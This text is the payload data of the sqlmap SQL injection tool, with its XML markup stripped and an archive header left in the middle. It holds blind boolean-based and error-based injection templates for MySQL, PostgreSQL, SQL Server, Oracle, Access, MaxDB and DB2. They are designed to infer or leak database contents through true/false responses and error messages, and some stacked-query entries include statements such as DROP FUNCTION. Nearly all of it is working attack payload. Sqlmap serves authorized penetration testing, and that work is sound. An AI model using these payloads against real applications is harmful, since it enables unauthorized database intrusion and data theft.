MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause 1 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL < 5.0
MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 4 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL < 5.0
PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause 1 2 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))
PostgreSQL
PostgreSQL boolean-based blind - ORDER BY clause (original value) 1 4 1 3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
PostgreSQL
PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES) 1 5 1 3 1 ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
PostgreSQL
Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause 1 3 1 3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value) 1 4 1 3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Oracle boolean-based blind - ORDER BY, GROUP BY clause 1 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 4 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause 1 4 1 2,3 1 ,IIF([INFERENCE],1,1/0) ,IIF([RANDNUM]=[RANDNUM],1,1/0) ,IIF([RANDNUM]=[RANDNUM1],1,1/0)
Microsoft Access
Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 5 1 2,3 1 ,IIF([INFERENCE],[ORIGVALUE],1/0) ,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) ,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)
Microsoft Access
SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause 1 4 1 2,3 1 ,(CASE WHEN [INFERENCE] THEN 1 ELSE NULL END) ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END) ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END)
SAP MaxDB
SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 5 1 2,3 1 ,(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)
SAP MaxDB
IBM DB2 boolean-based blind - ORDER BY clause 1 4 1 3 1 ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
IBM DB2
IBM DB2 boolean-based blind - ORDER BY clause (original value) 1 5 1 3 1 ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
IBM DB2
HAVING boolean-based blind - WHERE, GROUP BY clause 1 3 1 1,2 1 HAVING [INFERENCE] HAVING [RANDNUM]=[RANDNUM] HAVING [RANDNUM]=[RANDNUM1] MySQL >= 5.0 boolean-based blind - Stacked queries 1 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) # ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
MySQL >= 5.0
MySQL < 5.0 boolean-based blind - Stacked queries 1 5 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) # ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
MySQL < 5.0
PostgreSQL boolean-based blind - Stacked queries 1 3 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) -- ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)
PostgreSQL
PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES) 1 5 1 1-8 1 ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1 ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1 -- ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1
PostgreSQL
Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF) 1 3 1 1-8 1 ;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] ;IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] -- ;IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase boolean-based blind - Stacked queries 1 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) -- ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
Microsoft SQL Server Sybase
Oracle boolean-based blind - Stacked queries 1 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL -- ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL
Oracle
Microsoft Access boolean-based blind - Stacked queries 1 5 1 1-8 1 ;IIF([INFERENCE],1,1/0) ;IIF([RANDNUM]=[RANDNUM],1,1/0) %16 ;IIF([RANDNUM]=[RANDNUM1],1,1/0)
Microsoft Access
SAP MaxDB boolean-based blind - Stacked queries 1 5 1 1-8 1 ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END -- ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END
SAP MaxDB
sqlmap-1.9.6/data/xml/payloads/error_based.xml000066400000000000000000002065771502261744200214060ustar00rootroot00000000000000 MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) 2 4 1 1,2,3,8,9 1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) 2 4 3 1,8,9 1 OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP) 2 4 1 1,2,3,8,9 1 AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP) 2 4 3 1,8,9 1 OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) 2 4 1 1,2,3,8,9 1 AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.6
MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) 2 4 3 1,8,9 1 OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.6
MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS) 2 5 1 1,2,3,8,9 1 AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.7.8
MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS) 2 5 3 1,8,9 1 OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.7.8
MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 2 1 1,2,3,8,9 1 AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 2 3 1,2,3,8,9 1 OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 5 1 7 1 (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 1 1 1,2,3,8,9 1 AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 1 3 1,2,3,8,9 1 OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) 2 3 1 1,2,3,8,9 1 AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) 2 3 3 1,2,3,8,9 1 OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 3 1 1,2,3,8,9 1 AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 4.1
MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) 2 3 3 1,8,9 1 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 4.1
MySQL OR error-based - WHERE or HAVING clause (FLOOR) 2 4 3 1,8,9 2 OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) # [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
PostgreSQL AND error-based - WHERE or HAVING clause 2 1 1 1,8,9 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL OR error-based - WHERE or HAVING clause 2 1 3 1,8,9 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) 2 1 1 1,8,9 1 AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN) 2 2 3 1,8,9 2 OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT) 2 2 1 1,8,9 1 AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT) 2 3 3 1,8,9 2 OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT) 2 2 1 1,8,9 1 AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT) 2 3 3 1,8,9 2 OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Oracle AND error-based - WHERE or HAVING clause (XMLType) 2 1 1 1,9 1 AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (XMLType) 2 1 3 1,9 2 OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 2 1 1,9 1 AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle >= 8.1.6
